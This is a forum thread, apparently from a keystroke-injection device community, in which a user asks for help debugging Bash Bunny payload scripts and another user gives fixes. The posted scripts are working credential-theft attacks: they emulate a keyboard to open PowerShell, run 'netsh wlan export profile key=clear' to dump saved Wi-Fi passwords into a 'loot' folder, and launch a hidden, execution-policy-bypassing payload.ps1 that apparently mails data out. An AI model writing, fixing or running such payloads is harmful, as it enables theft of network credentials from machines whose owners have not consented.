Jump to content

STRING does not capture $var


Kristoxx

Recommended Posts

I have following script

######## INITIALIZATION ########
LED SETUP
GET SWITCH_POSITION
ATTACKMODE HID STORAGE

######## ATTACK ########
LED ATTACK
DELAY 6000
RUN WIN powershell
ENTER
DELAY 3000
STRING $volume = (Get-WmiObject -Class Win32_Volume | Where-Object { $_.Label -eq "BashBunny" }).Name; Set-Location -Path "$volume\payloads\switch2"
.\payload.ps1
# RUN WIN "powerShell -windowstyle hidden -ExecutionPolicy Bypass .((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\payload.ps1')"
# Wait until mail are sended.
sleep 10

When executing it gets stuck in PowerShell but does not write $volume = .... what could it be? I have tried making its execution slower with delay,
but the same result.
Link to comment
Share on other sites

DUCKY_LANG es-la
GET SWITCH_POSITION
ATTACKMODE HID STORAGE

# Create directory under loot to store passwords in
mkdir -p /root/udisk/loot/WiPassDump

LED R 200
DELAY 6000

# Open windows run console

Q GUI r
Q DELAY 1000

# enter payload and execute

Q STRING notepad
ENTER
DELAY 1000

Q STRING hola
DELAY 1000
Q STRING $volume \= \(Get-WmiObject -Class Win32_Volume | Where-Object { $_.Label -eq "BashBunny" }).Name
Q STRING Set-Location -Path "$volume\loot\WiPassDump"
Q STRING netsh wlan export profile key=clear
ENTER

#Let code run, then sync

DELAY 5000

sync

# Wait for misc. to happen on computer

DELAY 1000

# Done!

LED G

Link to comment
Share on other sites

You need to QUACK the DELAY lines as well as ENTER

Also, I'd suggest using QUACK instead of Q. Q is the same as QUACK, but I (and others) have experienced strange behavior using Q. I haven't been digging any deeper into that as to why that might be the case, but I always use QUACK instead of Q.

There are other things in that payload that will need adjustment, but you will find that out.

Link to comment
Share on other sites

I have followed your instructions and corrected the code but still it only runs powershell and then it does not write anything, the light remains red

 

DUCKY_LANG es-la
GET SWITCH_POSITION
ATTACKMODE HID STORAGE

# Create directory under loot to store passwords in
mkdir -p /root/udisk/loot/WiPassDump

LED R 200
QUACK DELAY 6000

# Open windows run console

QUACK GUI r
QUACK DELAY 1000

# enter payload and execute

QUACK STRING powershell
QUACK ENTER
QUACK DELAY 1000

QUACK STRING $volume \= \(Get-WmiObject -Class Win32_Volume | Where-Object { $_.Label -eq "BashBunny" }).Name
QUACK STRING Set-Location -Path "$volume\loot\WiPassDump"
QUACK STRING netsh wlan export profile key=clear
QUACK ENTER

#Let code run, then sync

QUACK DELAY 5000

sync

# Wait for misc. to happen on computer

QUACK DELAY 1000

# Done!

LED G

 

I think the problem is on the line 

QUACK STRING $volume \= \(Get-WmiObject -Class Win32_Volume | Where-Object { $_.Label -eq "BashBunny" }).Name
QUACK STRING Set-Location -Path "$volume\loot\WiPassDump"
QUACK STRING netsh wlan export profile key=clear
QUACK ENTER

 

I also wanted to thank you for the help, greetings
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...